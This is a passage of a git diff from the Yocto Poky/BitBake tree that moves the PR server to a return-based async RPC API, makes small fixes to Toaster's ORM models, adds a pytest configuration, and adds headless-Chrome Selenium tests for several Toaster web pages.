@@ -85,12 +85,10 @@ class PRServerClient(bb.asyncrpc.AsyncServerConnection):
logger.error(str(exc))
metainfo = datainfo = None
- response = {'metainfo': metainfo, 'datainfo': datainfo}
- self.write_message(response)
+ return {'metainfo': metainfo, 'datainfo': datainfo}
async def handle_is_readonly(self, request):
- response = {'readonly': self.read_only}
- self.write_message(response)
+ return {'readonly': self.read_only}
class PRServer(bb.asyncrpc.AsyncServer):
def __init__(self, dbfile, read_only=False):
@@ -99,20 +97,23 @@ class PRServer(bb.asyncrpc.AsyncServer):
self.table = None
self.read_only = read_only
- def accept_client(self, reader, writer):
- return PRServerClient(reader, writer, self.table, self.read_only)
+ def accept_client(self, socket):
+ return PRServerClient(socket, self.table, self.read_only)
- def _serve_forever(self):
+ def start(self):
+ tasks = super().start()
self.db = prserv.db.PRData(self.dbfile, read_only=self.read_only)
self.table = self.db["PRMAIN"]
logger.info("Started PRServer with DBfile: %s, Address: %s, PID: %s" %
(self.dbfile, self.address, str(os.getpid())))
- super()._serve_forever()
+ return tasks
+ async def stop(self):
self.table.sync_if_dirty()
self.db.disconnect()
+ await super().stop()
def signal_handler(self):
super().signal_handler()
@@ -129,7 +130,7 @@ class PRServSingleton(object):
def start(self):
self.prserv = PRServer(self.dbfile)
self.prserv.start_tcp_server(socket.gethostbyname(self.host), self.port)
- self.process = self.prserv.serve_as_process()
+ self.process = self.prserv.serve_as_process(log_level=logging.WARNING)
if not self.prserv.address:
raise PRServiceConfigError
@@ -344,9 +345,9 @@ def auto_shutdown():
def ping(host, port):
from . import client
- conn = client.PRClient()
- conn.connect_tcp(host, port)
- return conn.ping()
+ with client.PRClient() as conn:
+ conn.connect_tcp(host, port)
+ return conn.ping()
def connect(host, port):
from . import client
diff --git a/poky/bitbake/lib/toaster/orm/models.py b/poky/bitbake/lib/toaster/orm/models.py
index 0d503a5142..1098ad3fd1 100644
--- a/poky/bitbake/lib/toaster/orm/models.py
+++ b/poky/bitbake/lib/toaster/orm/models.py
@@ -1389,9 +1389,6 @@ class Machine(models.Model):
return "Machine " + self.name + "(" + self.description + ")"
-
-
-
class BitbakeVersion(models.Model):
name = models.CharField(max_length=32, unique = True)
@@ -1853,6 +1850,8 @@ def signal_runbuilds():
os.kill(int(pidf.read()), SIGUSR1)
except FileNotFoundError:
logger.info("Stopping existing runbuilds: no current process found")
+ except ProcessLookupError:
+ logger.warning("Stopping existing runbuilds: process lookup not found")
class Distro(models.Model):
search_allowed_fields = ["name", "description", "layer_version__layer__name"]
diff --git a/poky/bitbake/lib/toaster/pytest.ini b/poky/bitbake/lib/toaster/pytest.ini
new file mode 100644
index 0000000000..f07076b7ea
--- /dev/null
+++ b/poky/bitbake/lib/toaster/pytest.ini
@@ -0,0 +1,19 @@
+# -- FILE: pytest.ini (or tox.ini)
+[pytest]
+DJANGO_SETTINGS_MODULE = toastermain.settings_test
+
+python_files = db/test_*.py commands/test_*.py views/test_*.py browser/test_*.py functional/test_*.py
+
+# --create-db - force re creation of the test database
+# https://pytest-django.readthedocs.io/en/latest/database.html#create-db-force-re-creation-of-the-test-database
+
+# --html=report.html --self-contained-html
+# https://docs.pytest.org/en/latest/usage.html#creating-html-reports
+# https://pytest-html.readthedocs.io/en/latest/user_guide.html#creating-a-self-contained-report
+addopts = --create-db --html="Toaster Tests Report.html" --self-contained-html
+
+# Define environment variables using pytest-env
+# A pytest plugin that enables you to set environment variables in the pytest.ini file.
+# https://pypi.org/project/pytest-env/
+env =
+ TOASTER_BUILDSERVER=1
diff --git a/poky/bitbake/lib/toaster/tests/browser/selenium_helpers_base.py b/poky/bitbake/lib/toaster/tests/browser/selenium_helpers_base.py
index 9a4e27a3bc..e0ac43768e 100644
--- a/poky/bitbake/lib/toaster/tests/browser/selenium_helpers_base.py
+++ b/poky/bitbake/lib/toaster/tests/browser/selenium_helpers_base.py
@@ -33,7 +33,13 @@ def create_selenium_driver(cls,browser='chrome'):
browser = env_browser
if browser == 'chrome':
- return webdriver.Chrome()
+ options = webdriver.ChromeOptions()
+ options.add_argument('headless')
+ options.add_argument('--disable-infobars')
+ options.add_argument('--disable-dev-shm-usage')
+ options.add_argument('--no-sandbox')
+ options.add_argument('--remote-debugging-port=9222')
+ return webdriver.Chrome(options=options)
elif browser == 'firefox':
return webdriver.Firefox()
elif browser == 'marionette':
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_all_builds_page.py b/poky/bitbake/lib/toaster/tests/browser/test_all_builds_page.py
index d4312bb35b..4e9b9fd760 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_all_builds_page.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_all_builds_page.py
@@ -7,13 +7,16 @@
# SPDX-License-Identifier: GPL-2.0-only
#
-import re, time
+import re
+import time
from django.urls import reverse
+from selenium.webdriver.support.select import Select
from django.utils import timezone
+from bldcontrol.models import BuildRequest
from tests.browser.selenium_helpers import SeleniumTestCase
-from orm.models import BitbakeVersion, Release, Project, Build, Target
+from orm.models import BitbakeVersion, Layer, Layer_Version, Recipe, Release, Project, Build, Target, Task
from selenium.webdriver.common.by import By
@@ -102,6 +105,66 @@ class TestAllBuildsPage(SeleniumTestCase):
return found_row
+ def _get_create_builds(self, **kwargs):
+ """ Create a build and return the build object """
+ build1 = Build.objects.create(**self.project1_build_success)
+ build2 = Build.objects.create(**self.project1_build_failure)
+
+ # add some targets to these builds so they have recipe links
+ # (and so we can find the row in the ToasterTable corresponding to
+ # a particular build)
+ Target.objects.create(build=build1, target='foo')
+ Target.objects.create(build=build2, target='bar')
+
+ if kwargs:
+ # Create kwargs.get('success') builds with success status with target
+ # and kwargs.get('failure') builds with failure status with target
+ for i in range(kwargs.get('success', 0)):
+ now = timezone.now()
+ self.project1_build_success['started_on'] = now
+ self.project1_build_success[
+ 'completed_on'] = now - timezone.timedelta(days=i)
+ build = Build.objects.create(**self.project1_build_success)
+ Target.objects.create(build=build,
+ target=f'{i}_success_recipe',
+ task=f'{i}_success_task')
+
+ self._set_buildRequest_and_task_on_build(build)
+ for i in range(kwargs.get('failure', 0)):
+ now = timezone.now()
+ self.project1_build_failure['started_on'] = now
+ self.project1_build_failure[
+ 'completed_on'] = now - timezone.timedelta(days=i)
+ build = Build.objects.create(**self.project1_build_failure)
+ Target.objects.create(build=build,
+ target=f'{i}_fail_recipe',
+ task=f'{i}_fail_task')
+ self._set_buildRequest_and_task_on_build(build)
+ return build1, build2
+
+ def _create_recipe(self):
+ """ Add a recipe to the database and return it """
+ layer = Layer.objects.create()
+ layer_version = Layer_Version.objects.create(layer=layer)
+ return Recipe.objects.create(name='recipe_foo', layer_version=layer_version)
+
+ def _set_buildRequest_and_task_on_build(self, build):
+ """ Set buildRequest and task on build """
+ build.recipes_parsed = 1
+ build.save()
+ buildRequest = BuildRequest.objects.create(
+ build=build,
+ project=self.project1,
+ state=BuildRequest.REQ_COMPLETED)
+ build.build_request = buildRequest
+ recipe = self._create_recipe()
+ task = Task.objects.create(build=build,
+ recipe=recipe,
+ task_name='task',
+ outcome=Task.OUTCOME_SUCCESS)
+ task.save()
+ build.save()
+
def test_show_tasks_with_suffix(self):
""" Task should be shown as suffix on build name """
build = Build.objects.create(**self.project1_build_success)
@@ -128,7 +191,8 @@ class TestAllBuildsPage(SeleniumTestCase):
but should be shown for other builds
"""
build1 = Build.objects.create(**self.project1_build_success)
- default_build = Build.objects.create(**self.default_project_build_success)
+ default_build = Build.objects.create(
+ **self.default_project_build_success)
url = reverse('all-builds')
self.get(url)
@@ -146,7 +210,6 @@ class TestAllBuildsPage(SeleniumTestCase):
self.assertEqual(len(run_again_button), 0,
'should not see a rebuild button for cli builds')
-
def test_tooltips_on_project_name(self):
"""
Test tooltips shown next to project name in the main table
@@ -188,14 +251,7 @@ class TestAllBuildsPage(SeleniumTestCase):
recent builds area; failed builds should not have links on the time column,
or in the recent builds area
"""
- build1 = Build.objects.create(**self.project1_build_success)
- build2 = Build.objects.create(**self.project1_build_failure)
-
- # add some targets to these builds so they have recipe links
- # (and so we can find the row in the ToasterTable corresponding to
- # a particular build)
- Target.objects.create(build=build1, target='foo')
- Target.objects.create(build=build2, target='bar')
+ build1, build2 = self._get_create_builds()
url = reverse('all-builds')
self.get(url)
@@ -223,3 +279,185 @@ class TestAllBuildsPage(SeleniumTestCase):
links = build2_row.find_elements(By.CSS_SELECTOR, 'td.time a')
msg = 'should not be a link on the build time for a failed build'
self.assertEquals(len(links), 0, msg)
+
+ def test_builds_table_search_box(self):
+ """ Test the search box in the builds table on the all builds page """
+ self._get_create_builds()
+
+ url = reverse('all-builds')
+ self.get(url)
+
+ # Check search box is present and works
+ self.wait_until_present('#allbuildstable tbody tr')
+ search_box = self.find('#search-input-allbuildstable')
+ self.assertTrue(search_box.is_displayed())
+
+ # Check that we can search for a build by recipe name
+ search_box.send_keys('foo')
+ search_btn = self.find('#search-submit-allbuildstable')
+ search_btn.click()
+ self.wait_until_present('#allbuildstable tbody tr')
+ rows = self.find_all('#allbuildstable tbody tr')
+ self.assertTrue(len(rows) >= 1)
+
+ def test_filtering_on_failure_tasks_column(self):
+ """ Test the filtering on failure tasks column in the builds table on the all builds page """
+ self._get_create_builds(success=10, failure=10)
+
+ url = reverse('all-builds')
+ self.get(url)
+
+ # Check filtering on failure tasks column
+ self.wait_until_present('#allbuildstable tbody tr')
+ failed_tasks_filter = self.find('#failed_tasks_filter')
+ failed_tasks_filter.click()
+ # Check popup is visible
+ time.sleep(1)
+ self.wait_until_present('#filter-modal-allbuildstable')
+ self.assertTrue(
+ self.find('#filter-modal-allbuildstable').is_displayed())
+ # Check that we can filter by failure tasks
+ build_without_failure_tasks = self.find(
+ '#failed_tasks_filter\\:without_failed_tasks')
+ build_without_failure_tasks.click()
+ # click on apply button
+ self.find('#filter-modal-allbuildstable .btn-primary').click()
+ self.wait_until_present('#allbuildstable tbody tr')
+ # Check if filter is applied, by checking if failed_tasks_filter has btn-primary class
+ self.assertTrue(self.find('#failed_tasks_filter').get_attribute(
+ 'class').find('btn-primary') != -1)
+
+ def test_filtering_on_completedOn_column(self):
+ """ Test the filtering on completed_on column in the builds table on the all builds page """
+ self._get_create_builds(success=10, failure=10)
+
+ url = reverse('all-builds')
+ self.get(url)
+
+ # Check filtering on failure tasks column
+ self.wait_until_present('#allbuildstable tbody tr')
+ completed_on_filter = self.find('#completed_on_filter')
+ completed_on_filter.click()
+ # Check popup is visible
+ time.sleep(1)
+ self.wait_until_present('#filter-modal-allbuildstable')
+ self.assertTrue(
+ self.find('#filter-modal-allbuildstable').is_displayed())
+ # Check that we can filter by failure tasks
+ build_without_failure_tasks = self.find(
+ '#completed_on_filter\\:date_range')
+ build_without_failure_tasks.click()
+ # click on apply button
+ self.find('#filter-modal-allbuildstable .btn-primary').click()
+ self.wait_until_present('#allbuildstable tbody tr')
+ # Check if filter is applied, by checking if completed_on_filter has btn-primary class
+ self.assertTrue(self.find('#completed_on_filter').get_attribute(
+ 'class').find('btn-primary') != -1)
+
+ # Filter by date range
+ self.find('#completed_on_filter').click()
+ self.wait_until_present('#filter-modal-allbuildstable')
+ date_ranges = self.driver.find_elements(
+ By.XPATH, '//input[@class="form-control hasDatepicker"]')
+ today = timezone.now()
+ yestersday = today - timezone.timedelta(days=1)
+ time.sleep(1)
+ date_ranges[0].send_keys(yestersday.strftime('%Y-%m-%d'))
+ date_ranges[1].send_keys(today.strftime('%Y-%m-%d'))
+ self.find('#filter-modal-allbuildstable .btn-primary').click()
+ self.wait_until_present('#allbuildstable tbody tr')
+ self.assertTrue(self.find('#completed_on_filter').get_attribute(
+ 'class').find('btn-primary') != -1)
+ # Check if filter is applied, number of builds displayed should be 6
+ time.sleep(1)
+ self.assertTrue(len(self.find_all('#allbuildstable tbody tr')) == 6)
+
+ def test_builds_table_editColumn(self):
+ """ Test the edit column feature in the builds table on the all builds page """
+ self._get_create_builds(success=10, failure=10)
+
+ def test_edit_column(check_box_id):
+ # Check that we can hide/show table column
+ check_box = self.find(f'#{check_box_id}')
+ th_class = str(check_box_id).replace('checkbox-', '')
+ if check_box.is_selected():
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#allbuildstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+ check_box.click()
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#allbuildstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ else:
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#allbuildstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ check_box.click()
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#allbuildstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+ url = reverse('all-builds')
+ self.get(url)
+ self.wait_until_present('#allbuildstable tbody tr')
+
+ # Check edit column
+ edit_column = self.find('#edit-columns-button')
+ self.assertTrue(edit_column.is_displayed())
+ edit_column.click()
+ # Check dropdown is visible
+ self.wait_until_visible('ul.dropdown-menu.editcol')
+
+ # Check that we can hide the edit column
+ test_edit_column('checkbox-errors_no')
+ test_edit_column('checkbox-failed_tasks')
+ test_edit_column('checkbox-image_files')
+ test_edit_column('checkbox-project')
+ test_edit_column('checkbox-started_on')
+ test_edit_column('checkbox-time')
+ test_edit_column('checkbox-warnings_no')
+
+ def test_builds_table_show_rows(self):
+ """ Test the show rows feature in the builds table on the all builds page """
+ self._get_create_builds(success=100, failure=100)
+
+ def test_show_rows(row_to_show, show_row_link):
+ # Check that we can show rows == row_to_show
+ show_row_link.select_by_value(str(row_to_show))
+ self.wait_until_present('#allbuildstable tbody tr')
+ time.sleep(1)
+ self.assertTrue(
+ len(self.find_all('#allbuildstable tbody tr')) == row_to_show
+ )
+
+ url = reverse('all-builds')
+ self.get(url)
+ self.wait_until_present('#allbuildstable tbody tr')
+
+ show_rows = self.driver.find_elements(
+ By.XPATH,
+ '//select[@class="form-control pagesize-allbuildstable"]'
+ )
+ # Check show rows
+ for show_row_link in show_rows:
+ show_row_link = Select(show_row_link)
+ test_show_rows(10, show_row_link)
+ test_show_rows(25, show_row_link)
+ test_show_rows(50, show_row_link)
+ test_show_rows(100, show_row_link)
+ test_show_rows(150, show_row_link)
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_all_projects_page.py b/poky/bitbake/lib/toaster/tests/browser/test_all_projects_page.py
index 3389d32366..a880dbcc68 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_all_projects_page.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_all_projects_page.py
@@ -8,9 +8,11 @@
#
import re
+import time
from django.urls import reverse
from django.utils import timezone
+from selenium.webdriver.support.select import Select
from tests.browser.selenium_helpers import SeleniumTestCase
from orm.models import BitbakeVersion, Release, Project, Build
@@ -37,6 +39,17 @@ class TestAllProjectsPage(SeleniumTestCase):
self.release = None
+ def _create_projects(self, nb_project=10):
+ projects = []
+ for i in range(1, nb_project + 1):
+ projects.append(
+ Project(
+ name='test project {}'.format(i),
+ release=self.release,
+ )
+ )
+ Project.objects.bulk_create(projects)
+
def _add_build_to_default_project(self):
""" Add a build to the default project (not used in all tests) """
now = timezone.now()
@@ -205,3 +218,116 @@ class TestAllProjectsPage(SeleniumTestCase):
expected_url = reverse('project', args=(self.project.id,))
msg = 'link on project name should point to configuration but was %s' % link_url
self.assertTrue(link_url.endswith(expected_url), msg)
+
+ def test_allProject_table_search_box(self):
+ """ Test the search box in the all project table on the all projects page """
+ self._create_projects()
+
+ url = reverse('all-projects')
+ self.get(url)
+
+ # Chseck search box is present and works
+ self.wait_until_present('#projectstable tbody tr')
+ search_box = self.find('#search-input-projectstable')
+ self.assertTrue(search_box.is_displayed())
+
+ # Check that we can search for a project by project name
+ search_box.send_keys('test project 10')
+ search_btn = self.find('#search-submit-projectstable')
+ search_btn.click()
+ self.wait_until_present('#projectstable tbody tr')
+ time.sleep(1)
+ rows = self.find_all('#projectstable tbody tr')
+ self.assertTrue(len(rows) == 1)
+
+ def test_allProject_table_editColumn(self):
+ """ Test the edit column feature in the projects table on the all projects page """
+ self._create_projects()
+
+ def test_edit_column(check_box_id):
+ # Check that we can hide/show table column
+ check_box = self.find(f'#{check_box_id}')
+ th_class = str(check_box_id).replace('checkbox-', '')
+ if check_box.is_selected():
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#projectstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+ check_box.click()
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#projectstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ else:
+ # check if column is hidden in table
+ self.assertFalse(
+ self.find(
+ f'#projectstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is unchecked in EditColumn dropdown, but it's visible in table"
+ )
+ check_box.click()
+ # check if column is visible in table
+ self.assertTrue(
+ self.find(
+ f'#projectstable thead th.{th_class}'
+ ).is_displayed(),
+ f"The {th_class} column is checked in EditColumn dropdown, but it's not visible in table"
+ )
+ url = reverse('all-projects')
+ self.get(url)
+ self.wait_until_present('#projectstable tbody tr')
+
+ # Check edit column
+ edit_column = self.find('#edit-columns-button')
+ self.assertTrue(edit_column.is_displayed())
+ edit_column.click()
+ # Check dropdown is visible
+ self.wait_until_visible('ul.dropdown-menu.editcol')
+
+ # Check that we can hide the edit column
+ test_edit_column('checkbox-errors')
+ test_edit_column('checkbox-image_files')
+ test_edit_column('checkbox-last_build_outcome')
+ test_edit_column('checkbox-recipe_name')
+ test_edit_column('checkbox-warnings')
+
+ def test_allProject_table_show_rows(self):
+ """ Test the show rows feature in the projects table on the all projects page """
+ self._create_projects(nb_project=200)
+
+ def test_show_rows(row_to_show, show_row_link):
+ # Check that we can show rows == row_to_show
+ show_row_link.select_by_value(str(row_to_show))
+ self.wait_until_present('#projectstable tbody tr')
+ sleep_time = 1
+ if row_to_show == 150:
+ # wait more time for 150 rows
+ sleep_time = 2
+ time.sleep(sleep_time)
+ self.assertTrue(
+ len(self.find_all('#projectstable tbody tr')) == row_to_show
+ )
+
+ url = reverse('all-projects')
+ self.get(url)
+ self.wait_until_present('#projectstable tbody tr')
+
+ show_rows = self.driver.find_elements(
+ By.XPATH,
+ '//select[@class="form-control pagesize-projectstable"]'
+ )
+ # Check show rows
+ for show_row_link in show_rows:
+ show_row_link = Select(show_row_link)
+ test_show_rows(10, show_row_link)
+ test_show_rows(25, show_row_link)
+ test_show_rows(50, show_row_link)
+ test_show_rows(100, show_row_link)
+ test_show_rows(150, show_row_link)
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_delete_project.py b/poky/bitbake/lib/toaster/tests/browser/test_delete_project.py
new file mode 100644
index 0000000000..1941777ccc
--- /dev/null
+++ b/poky/bitbake/lib/toaster/tests/browser/test_delete_project.py
@@ -0,0 +1,103 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# BitBake Toaster UI tests implementation
+#
+# Copyright (C) 2023 Savoir-faire Linux Inc
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import pytest
+from django.urls import reverse
+from selenium.webdriver.support.ui import Select
+from tests.browser.selenium_helpers import SeleniumTestCase
+from orm.models import BitbakeVersion, Project, Release
+from selenium.webdriver.common.by import By
+
+class TestDeleteProject(SeleniumTestCase):
+
+ def setUp(self):
+ bitbake, _ = BitbakeVersion.objects.get_or_create(
+ name="master",
+ giturl="git://master",
+ branch="master",
+ dirpath="master")
+
+ self.release, _ = Release.objects.get_or_create(
+ name="master",
+ description="Yocto Project master",
+ branch_name="master",
+ helptext="latest",
+ bitbake_version=bitbake)
+
+ Release.objects.get_or_create(
+ name="foo",
+ description="Yocto Project foo",
+ branch_name="foo",
+ helptext="latest",
+ bitbake_version=bitbake)
+
+ @pytest.mark.django_db
+ def test_delete_project(self):
+ """ Test delete a project
+ - Check delete modal is visible
+ - Check delete modal has right text
+ - Confirm delete
+ - Check project is deleted
+ """
+ project_name = "project_to_delete"
+ url = reverse('newproject')
+ self.get(url)
+ self.enter_text('#new-project-name', project_name)
+ select = Select(self.find('#projectversion'))
+ select.select_by_value(str(self.release.pk))
+ self.click("#create-project-button")
+ # We should get redirected to the new project's page with the
+ # notification at the top
+ element = self.wait_until_visible('#project-created-notification')
+ self.assertTrue(project_name in element.text,
+ "New project name not in new project notification")
+ self.assertTrue(Project.objects.filter(name=project_name).count(),
+ "New project not found in database")
+
+ # Delete project
+ delete_project_link = self.driver.find_element(
+ By.XPATH, '//a[@href="#delete-project-modal"]')
+ delete_project_link.click()
+
+ # Check delete modal is visible
+ self.wait_until_visible('#delete-project-modal')
+
+ # Check delete modal has right text
+ modal_header_text = self.find('#delete-project-modal .modal-header').text
+ self.assertTrue(
+ "Are you sure you want to delete this project?" in modal_header_text,
+ "Delete project modal header text is wrong")
+
+ modal_body_text = self.find('#delete-project-modal .modal-body').text
+ self.assertTrue(
+ "Cancel its builds currently in progress" in modal_body_text,
+ "Modal body doesn't contain: Cancel its builds currently in progress")
+ self.assertTrue(
+ "Remove its configuration information" in modal_body_text,
+ "Modal body doesn't contain: Remove its configuration information")
+ self.assertTrue(
+ "Remove its imported layers" in modal_body_text,
+ "Modal body doesn't contain: Remove its imported layers")
+ self.assertTrue(
+ "Remove its custom images" in modal_body_text,
+ "Modal body doesn't contain: Remove its custom images")
+ self.assertTrue(
+ "Remove all its build information" in modal_body_text,
+ "Modal body doesn't contain: Remove all its build information")
+
+ # Confirm delete
+ delete_btn = self.find('#delete-project-confirmed')
+ delete_btn.click()
+
+ # Check project is deleted
+ self.wait_until_visible('#change-notification')
+ delete_notification = self.find('#change-notification-msg')
+ self.assertTrue("You have deleted 1 project:" in delete_notification.text)
+ self.assertTrue(project_name in delete_notification.text)
+ self.assertFalse(Project.objects.filter(name=project_name).exists(),
+ "Project not deleted from database")
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_landing_page.py b/poky/bitbake/lib/toaster/tests/browser/test_landing_page.py
index 8bb64b9f3e..7ec52a4b40 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_landing_page.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_landing_page.py
@@ -10,8 +10,9 @@
from django.urls import reverse
from django.utils import timezone
from tests.browser.selenium_helpers import SeleniumTestCase
+from selenium.webdriver.common.by import By
-from orm.models import Project, Build
+from orm.models import Layer, Layer_Version, Project, Build
class TestLandingPage(SeleniumTestCase):
""" Tests for redirects on the landing page """
@@ -29,6 +30,124 @@ class TestLandingPage(SeleniumTestCase):
self.project.is_default = True
self.project.save()
+ def test_icon_info_visible_and_clickable(self):
+ """ Test that the information icon is visible and clickable """
+ self.get(reverse('landing'))
+ info_sign = self.find('#toaster-version-info-sign')
+
+ # check that the info sign is visible
+ self.assertTrue(info_sign.is_displayed())
+
+ # check that the info sign is clickable
+ # and info modal is appearing when clicking on the info sign
+ info_sign.click() # click on the info sign make attribute 'aria-describedby' visible
+ info_model_id = info_sign.get_attribute('aria-describedby')
+ info_modal = self.find(f'#{info_model_id}')
+ self.assertTrue(info_modal.is_displayed())
+ self.assertTrue("Toaster version information" in info_modal.text)
+
+ def test_documentation_link_displayed(self):
+ """ Test that the documentation link is displayed """
+ self.get(reverse('landing'))
+ documentation_link = self.find('#navbar-docs > a')
+
+ # check that the documentation link is visible
+ self.assertTrue(documentation_link.is_displayed())
+
+ # check browser open new tab toaster manual when clicking on the documentation link
+ self.assertEqual(documentation_link.get_attribute('target') , '_blank')
+ self.assertEqual(
+ documentation_link.get_attribute('href'),
+ 'http://docs.yoctoproject.org/toaster-manual/index.html#toaster-user-manual')
+ self.assertTrue("Documentation" in documentation_link.text)
+
+ def test_openembedded_jumbotron_link_visible_and_clickable(self):
+ """ Test OpenEmbedded link jumbotron is visible and clickable: """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check OpenEmbedded
+ openembedded = jumbotron.find_element(By.LINK_TEXT, 'OpenEmbedded')
+ self.assertTrue(openembedded.is_displayed())
+ openembedded.click()
+ self.assertTrue("openembedded.org" in self.driver.current_url)
+
+ def test_bitbake_jumbotron_link_visible_and_clickable(self):
+ """ Test BitBake link jumbotron is visible and clickable: """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check BitBake
+ bitbake = jumbotron.find_element(By.LINK_TEXT, 'BitBake')
+ self.assertTrue(bitbake.is_displayed())
+ bitbake.click()
+ self.assertTrue("docs.yoctoproject.org/bitbake.html" in self.driver.current_url)
+
+ def test_yoctoproject_jumbotron_link_visible_and_clickable(self):
+ """ Test Yocto Project link jumbotron is visible and clickable: """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check Yocto Project
+ yoctoproject = jumbotron.find_element(By.LINK_TEXT, 'Yocto Project')
+ self.assertTrue(yoctoproject.is_displayed())
+ yoctoproject.click()
+ self.assertTrue("yoctoproject.org" in self.driver.current_url)
+
+ def test_link_setup_using_toaster_visible_and_clickable(self):
+ """ Test big magenta button setting up and using toaster link in jumbotron
+ if visible and clickable
+ """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check Big magenta button
+ big_magenta_button = jumbotron.find_element(By.LINK_TEXT,
+ 'Toaster is ready to capture your command line builds'
+ )
+ self.assertTrue(big_magenta_button.is_displayed())
+ big_magenta_button.click()
+ self.assertTrue("docs.yoctoproject.org/toaster-manual/setup-and-use.html#setting-up-and-using-toaster" in self.driver.current_url)
+
+ def test_link_create_new_project_in_jumbotron_visible_and_clickable(self):
+ """ Test big blue button create new project jumbotron if visible and clickable """
+ # Create a layer and a layer version to make visible the big blue button
+ layer = Layer.objects.create(name='bar')
+ Layer_Version.objects.create(layer=layer)
+
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check Big Blue button
+ big_blue_button = jumbotron.find_element(By.LINK_TEXT,
+ 'Create your first Toaster project to run manage builds'
+ )
+ self.assertTrue(big_blue_button.is_displayed())
+ big_blue_button.click()
+ self.assertTrue("toastergui/newproject/" in self.driver.current_url)
+
+ def test_toaster_manual_link_visible_and_clickable(self):
+ """ Test Read the Toaster manual link jumbotron is visible and clickable: """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check Read the Toaster manual
+ toaster_manual = jumbotron.find_element(By.LINK_TEXT, 'Read the Toaster manual')
+ self.assertTrue(toaster_manual.is_displayed())
+ toaster_manual.click()
+ self.assertTrue("https://docs.yoctoproject.org/toaster-manual/index.html#toaster-user-manual" in self.driver.current_url)
+
+ def test_contrib_to_toaster_link_visible_and_clickable(self):
+ """ Test Contribute to Toaster link jumbotron is visible and clickable: """
+ self.get(reverse('landing'))
+ jumbotron = self.find('.jumbotron')
+
+ # check Contribute to Toaster
+ contribute_to_toaster = jumbotron.find_element(By.LINK_TEXT, 'Contribute to Toaster')
+ self.assertTrue(contribute_to_toaster.is_displayed())
+ contribute_to_toaster.click()
+ self.assertTrue("wiki.yoctoproject.org/wiki/contribute_to_toaster" in str(self.driver.current_url).lower())
+
def test_only_default_project(self):
"""
No projects except default
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_layerdetails_page.py b/poky/bitbake/lib/toaster/tests/browser/test_layerdetails_page.py
index 71bdd2aafd..cb7b915bf0 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_layerdetails_page.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_layerdetails_page.py
@@ -97,6 +97,8 @@ class TestLayerDetailsPage(SeleniumTestCase):
"Expecting any of \"%s\"but got \"%s\"" %
(self.initial_values, value))
+ # Make sure the input visible beofre sending keys
+ self.wait_until_visible("#layer-git input[type=text]")
inputs.send_keys("-edited")
# Save the new values
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_most_recent_builds_states.py b/poky/bitbake/lib/toaster/tests/browser/test_most_recent_builds_states.py
index a34a092884..949a94768a 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_most_recent_builds_states.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_most_recent_builds_states.py
@@ -54,6 +54,7 @@ class TestMostRecentBuildsStates(SeleniumTestCase):
build.outcome = Build.IN_PROGRESS
build.recipes_to_parse = recipes_to_parse
build.recipes_parsed = 0
+ build.save()
build_request.state = BuildRequest.REQ_INPROGRESS
build_request.save()
@@ -100,7 +101,7 @@ class TestMostRecentBuildsStates(SeleniumTestCase):
'Tasks starting', 'build should show "tasks starting" status')
# first task finished; check tasks progress bar
- task1.order = 1
+ task1.outcome = Task.OUTCOME_SUCCESS
task1.save()
self.get(url)
@@ -117,7 +118,7 @@ class TestMostRecentBuildsStates(SeleniumTestCase):
element = Wait(self.driver).until(task_bar_updated, msg)
# last task finished; check tasks progress bar updates
- task2.order = 2
+ task2.outcome = Task.OUTCOME_SUCCESS
task2.save()
self.get(url)
diff --git a/poky/bitbake/lib/toaster/tests/browser/test_new_custom_image_page.py b/poky/bitbake/lib/toaster/tests/browser/test_new_custom_image_page.py
index 6361f40347..34d1bd45c7 100644
--- a/poky/bitbake/lib/toaster/tests/browser/test_new_custom_image_page.py
+++ b/poky/bitbake/lib/toaster/tests/browser/test_new_custom_image_page.py
@@ -48,8 +48,12 @@ class TestNewCustomImagePage(SeleniumTestCase):
self.recipe = Recipe.objects.create(
name='core-image-minimal',
layer_version=layer_version,
+ file_path='/tmp/core-image-minimal.bb',
is_image=True
)
